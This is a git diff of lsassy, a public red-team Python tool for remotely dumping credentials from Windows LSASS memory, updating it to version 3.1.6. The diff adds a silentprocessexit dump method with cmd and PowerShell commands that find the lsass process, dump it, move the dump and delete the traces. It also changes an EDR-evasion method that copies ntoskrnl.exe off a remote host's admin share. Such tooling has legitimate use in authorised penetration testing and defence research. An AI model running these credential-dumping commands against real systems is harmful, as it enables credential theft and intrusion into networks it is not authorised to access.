diff --git a/Makefile b/Makefile index e106907..272b1bb 100644 --- a/Makefile +++ b/Makefile @@ -8,12 +8,12 @@ find . -name '__pycache__' -exec rm -rf {} + publish: clean - python3.7 setup.py sdist bdist_wheel - python3.7 -m twine upload dist/* + python setup.py sdist bdist_wheel + python -m twine upload dist/* testpublish: clean - python3.7 setup.py sdist bdist_wheel - python3.7 -m twine upload --repository-url https://test.pypi.org/legacy/ dist/* + python setup.py sdist bdist_wheel + python -m twine upload --repository-url https://test.pypi.org/legacy/ dist/* linux: clean python setup.py install @@ -24,12 +24,12 @@ pyinstaller ./lsassy/console.py --onefile --clean -n lsassy_windows_amd64 --additional-hooks-dir=hooks rebuild: clean - python3.7 setup.py install + python setup.py install build: clean - python3.7 setup.py install + python setup.py install install: build test: - python3.7 setup.py test + python setup.py test diff --git a/README.md b/README.md index b5b3775..133fbf7 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # lsassy -[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=3.1.3&x2=0)](https://pypi.org/project/lsassy/) +[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=3.1.6&x2=0)](https://pypi.org/project/lsassy/) [![PyPI Statistics](https://img.shields.io/pypi/dm/lsassy.svg)](https://pypistats.org/packages/lsassy) [![Tests](https://github.com/hackndo/lsassy/workflows/Tests/badge.svg)](https://github.com/hackndo/lsassy/actions?workflow=Tests) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) @@ -151,6 +151,7 @@ * EDRSandBlast * nanodump * rdrleakdiag +* silentprocessexit * sqldumper #### comsvcs method @@ -483,6 +484,7 @@ * [s4ntiago_p](https://twitter.com/s4ntiago_p) for [nanodump](https://github.com/helpsystems/nanodump) * [0gtweet](https://twitter.com/0gtweet) for [Rdrleakdiag technique](https://twitter.com/0gtweet/status/1299071304805560321) * [Luis Rocha](https://twitter.com/countuponsec) for [SQLDumper technique](https://twitter.com/countuponsec/status/910969424215232518) +* [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [LsassSilentProcessExit technique](https://github.com/deepinstinct/LsassSilentProcessExit) ## Official Discord Channel diff --git a/lsassy/__init__.py b/lsassy/__init__.py index dc0a25b..d4cc3e2 100644 --- a/lsassy/__init__.py +++ b/lsassy/__init__.py @@ -1 +1 @@ -__version__ = '3.1.3' +__version__ = '3.1.6' diff --git a/lsassy/console.py b/lsassy/console.py index d58ea17..b101b2d 100644 --- a/lsassy/console.py +++ b/lsassy/console.py @@ -30,10 +30,10 @@ help='Dump module options (Example procdump_path=/opt/procdump.exe,procdump=procdump.exe') group_dump.add_argument('--timeout', action='store', type=int, default=5, help='Max time to wait for lsass dump (Default 5s)') - group_dump.add_argument('--time-between-commands', action='store', type=int, default=7, - help='Time to wait between dump methods commands (Default 7s)') + group_dump.add_argument('--time-between-commands', action='store', type=int, default=1, + help='Time to wait between dump methods commands (Default 1s)') group_dump.add_argument('--parse-only', action='store_true', help='Parse dump without dumping') - group_dump.add_argument('--keep-dump', action='store_true', help='Parse dump without dumping') + group_dump.add_argument('--keep-dump', action='store_true', help='Do not delete lsass dump on remote host') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('-u', '--username', action='store', help='Username') diff --git a/lsassy/dumpmethod/comsvcs_stealth.py b/lsassy/dumpmethod/comsvcs_stealth.py index 3de05a3..8b06c59 100644 --- a/lsassy/dumpmethod/comsvcs_stealth.py +++ b/lsassy/dumpmethod/comsvcs_stealth.py @@ -12,6 +12,11 @@ def __init__(self, session, timeout, time_between_commands): super().__init__(session, timeout, time_between_commands) + + # If default, set to 7. Otherwise, keep custom time + if self._time_between_commands == 1: + self._time_between_commands = 7 + self.comsvcs_copied = False self.comsvcs_copy_name = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dll" self.comsvcs_copy_path = "\\Windows\\Temp\\" diff --git a/lsassy/dumpmethod/edrsandblast.py b/lsassy/dumpmethod/edrsandblast.py index f62b45f..743780e 100644 --- a/lsassy/dumpmethod/edrsandblast.py +++ b/lsassy/dumpmethod/edrsandblast.py @@ -21,19 +21,27 @@ self.tmp_ntoskrnl = "lsassy_" + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) + ".exe" def prepare(self, options): - with open('/tmp/{}'.format(self.tmp_ntoskrnl), 'wb') as p: + if os.name == 'nt': + tmp_dir = 'C:\\Windows\\Temp\\' + else: + tmp_dir = '/tmp/' + with open('{}{}'.format(tmp_dir, self.tmp_ntoskrnl), 'wb') as p: try: self._session.smb_session.getFile("C$", "\\Windows\\System32\\ntoskrnl.exe", p.write) - logging.success("ntoskrnl.exe downloaded to /tmp/{}".format(self.tmp_ntoskrnl)) + logging.success("ntoskrnl.exe downloaded to {}{}".format(tmp_dir, self.tmp_ntoskrnl)) except Exception as e: logging.error("ntoskrnl.exe download error", exc_info=True) + try: + os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl)) + except Exception as e: + return None return None - self.ntoskrnl.content = self.get_offsets("/tmp/{}".format(self.tmp_ntoskrnl)) + self.ntoskrnl.content = self.get_offsets("{}{}".format(tmp_dir, self.tmp_ntoskrnl)) if self.ntoskrnl.content is not None: logging.success("ntoskrnl offsets extracted") logging.debug(self.ntoskrnl.content.split("\n")[1]) - os.remove('/tmp/{}'.format(self.tmp_ntoskrnl)) + os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl)) return self.prepare_dependencies(options, [self.edrsandblast, self.RTCore64, self.ntoskrnl]) diff --git a/lsassy/dumpmethod/silentprocessexit.py b/lsassy/dumpmethod/silentprocessexit.py new file mode 100644 index 0000000..4f0b7e5 --- /dev/null +++ b/lsassy/dumpmethod/silentprocessexit.py @@ -0,0 +1,35 @@ +from lsassy.dumpmethod import IDumpMethod, Dependency + + +class DumpMethod(IDumpMethod): + #need_debug_privilege = True + + + def __init__(self, session, timeout, time_between_commands): + super().__init__(session, timeout, time_between_commands) + self.silentprocessexit = Dependency("silentprocessexit", "silentprocessexit.exe") + + def prepare(self, options): + return self.prepare_dependencies(options, [self.silentprocessexit]) + + def clean(self): + self.clean_dependencies([self.silentprocessexit]) + + def get_commands(self, dump_path=None, dump_name=None, no_powershell=False): + cmd_command = [ + """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} %J 0""".format( + self.silentprocessexit.get_remote_path() + ), + """move C:\\temp\\lsass.exe-(PID-* C:\\Temp\\lsass && move C:\\Temp\\lsass\\lsass.exe*.dmp {}{} """.format(self.dump_path, self.dump_name), + """del /s /q "C:\\temp\\lsass" && rmdir C:\\Temp\\lsass""" + ] + pwsh_command = [ + "{} (Get-Process lsass).Id 0".format( + self.silentprocessexit.get_remote_path() + ), + """move C:\\temp\\lsass.exe-(PID-* C:\\Temp\\lsass && move C:\\Temp\\lsass\\lsass.exe*.dmp {}{} """.format(self.dump_path, self.dump_name), + """del /s /q "C:\\temp\\lsass" && rmdir C:\\Temp\\lsass""" ] + return { + "cmd": cmd_command, + "pwsh": pwsh_command + } diff --git a/lsassy/logger.py b/lsassy/logger.py index 65b7d46..d97113e 100644 --- a/lsassy/logger.py +++ b/lsassy/logger.py @@ -59,6 +59,9 @@ """ StreamHandler and formatter added to root logger """ + if (logging.getLogger().hasHandlers()): + logging.getLogger().handlers.clear() + handler = logging.StreamHandler(sys.stdout) handler.setFormatter(LsassyFormatter(no_color)) logging.getLogger().addHandler(handler) diff --git a/pyproject.toml b/pyproject.toml index 2eec0d4..613d581 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "lsassy" -version = "3.1.3" +version = "3.1.6" description = "Tool to remotely extract credentials" readme = "README.md" homepage = "https://github.com/hackndo/lsassy" @@ -11,7 +11,7 @@ [tool.poetry.dependencies] python = "^3.7" netaddr = "^0.8.0" -pypykatz = "^0.4.8" +pypykatz = "^0.6.2" impacket = "^0.9.22" rich = "^10.6.0" diff --git a/requirements.txt b/requirements.txt index a771212..a5ae9ea 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ impacket netaddr -pypykatz>=0.4.8 -rich \ No newline at end of file +pypykatz>=0.6.2 +rich diff --git a/setup.py b/setup.py index e10e9de..ddb61fb 100644 --- a/setup.py +++ b/setup.py @@ -13,7 +13,7 @@ setup( name="lsassy", - version="3.1.3", + version="3.1.6", author="Pixis", author_email="hackndo@gmail.com", description="Python library to extract credentials from lsass remotely", @@ -27,7 +27,7 @@ install_requires=[ 'impacket', 'netaddr', - 'pypykatz>=0.4.8', + 'pypykatz>=0.6.2', 'rich' ], python_requires='>=3.6', diff --git a/tests/test_lsassy.py b/tests/test_lsassy.py index 18895b9..6af14b0 100644 --- a/tests/test_lsassy.py +++ b/tests/test_lsassy.py @@ -2,4 +2,4 @@ def test_version(): - assert __version__ == '3.1.3' + assert __version__ == '3.1.6'